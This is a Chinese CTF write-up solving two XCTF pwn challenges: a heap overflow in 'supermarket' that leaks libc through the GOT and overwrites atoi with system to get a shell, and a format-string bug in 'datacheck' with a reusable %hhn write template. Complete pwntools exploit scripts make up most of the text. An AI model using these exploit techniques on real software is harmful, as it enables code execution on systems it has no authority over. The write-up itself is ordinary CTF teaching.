攻防世界pwn题后续题解(不断更新~)
程序员文章站
2022-03-07 19:49:24
...
supermarket
这是一个典型的堆题,菜单类型。
只开了NX保护的32位程序。
我们来分析一下程序
程序实现了增删改查,其中改可以改价格和商品的描述,我们重点看改描述,因为程序的漏洞就在这里。
首先让我们输入商品的名字,通过名字来找到商品,这里我们就可以伪造商品了。继续往下看会看到程序让我们输入描述信息的size。通过程序分析我们知道(&s2)[v1]+5是结构体中存储堆的size,(&s2)[v1]+6是结构体存储信息堆的的地方。
然而程序在输入size后,分配一个新的堆空间,但是仍然是通过结构体中的size来输入堆信息,这里就很容易会造成堆溢出。
首先,写好菜单题的模板:
#! /usr/bin/env python
from pwn import *
context.update(arch='i386', log_level='debug')
p = remote('111.198.29.45', 44261)
#p = process('./supermarket')
e = ELF('./supermarket')
#l = e.libc
l = ELF('./libc.so.6')
def add(name, price, size, desc):
p.sendlineafter('>>', '1')
p.sendlineafter('name:', str(name))
p.sendlineafter('price:', str(price))
p.sendlineafter('size:', str(size))
p.sendlineafter('description:', str(desc))
def delete(name):
p.sendlineafter('>>', '2')
p.sendlineafter('name:', str(name))
def show():
p.sendlineafter('>>', '3')
p.recvuntil('B:')
p.recvuntil('des.')
return p.recvuntil('\n', drop=True)
def change_desc(name, size, desc):
p.sendlineafter('>>', '5')
p.sendlineafter('name:', str(name))
p.sendlineafter('size:', str(size))
p.sendlineafter('description:', str(desc))
写好后我们通过程序输入来测试:
add('A','1','256','a')
change_desc('A','8','a')
add('B','1','16','b')
gdb.attach(p)
pause()
我们通过gdb.attach§来使用gdb查看堆内存的状态
弹出框后我们使用vmmap的命令,查看堆地址。
这里我们可以看出ralloc身下的信息堆我们可以用来伪造第二个商品的结构体,造成UAF。
add('A','1','256','a')
change_desc('A','8','a')
add('B','1','16','b')
#gdb.attach(p)
#pause()
payload = flat(['a' * 0xc, 0x21, 0x42, 'a'*0xc, 0x1, 0x10, e.got['atoi']])
change_desc('A', '256', payload )
gdb.attach(p)
pause()
我们用刚刚的思路写一个payload来测试一下。
为造好后我们调用第二个商品的堆的信息时就会输出我们想要输出的信息了。
完整exp:
#! /usr/bin/env python
from pwn import *
context.update(arch='i386', log_level='debug')
#p = remote('111.198.29.45', 44261)
p = process('./supermarket')
e = ELF('./supermarket')
#l = e.libc
l = ELF('./libc.so.6')
def add(name, price, size, desc):
p.sendlineafter('>>', '1')
p.sendlineafter('name:', str(name))
p.sendlineafter('price:', str(price))
p.sendlineafter('size:', str(size))
p.sendlineafter('description:', str(desc))
def delete(name):
p.sendlineafter('>>', '2')
p.sendlineafter('name:', str(name))
def show():
p.sendlineafter('>>', '3')
p.recvuntil('B:')
p.recvuntil('des.')
return p.recvuntil('\n', drop=True)
def change_desc(name, size, desc):
p.sendlineafter('>>', '5')
p.sendlineafter('name:', str(name))
p.sendlineafter('size:', str(size))
p.sendlineafter('description:', str(desc))
add('A','1','256','a')
change_desc('A','8','a')
add('B','1','16','b')
#gdb.attach(p)
#pause()
payload = flat(['a' * 0xc, 0x21, 0x42, 'a'*0xc, 0x1, 0x10, e.got['atoi']])
change_desc('A', '256', payload )
#gdb.attach(p)
#pause()
l.address = u32(show()[:4]) - l.symbols['atoi']
print hex(l.address)
change_desc('B', '16', p32(l.symbols['system']))
p.sendlineafter('>>', '/bin/sh\x00')
p.interactive()
实时数据监测
格式化字符串漏洞(大数据写)
好家伙,保护全关的32位程序。
丢进ida中分析一下。
看起来像新手区的题目,格式化字符串漏洞,但是这里要写一个比较大的数据到key中,拿出模板:
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
有了这个模板,不管是64位还是32位的大数据格式字符串漏洞的填写都不是问题(普遍情况下,不代表全部)。
这里我们要知道offset,我们用gdb测试一下就知道了。
直接测试出来偏移为12,我们填进去就可以了。
完整exp:
#! /usr/bin/env python
from pwn import *
p = remote('111.198.29.45',36468)
elf = ELF('./datacheck')
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(12,4,0x0804A048,0x02223322)
p.send(payload)
p.interactive()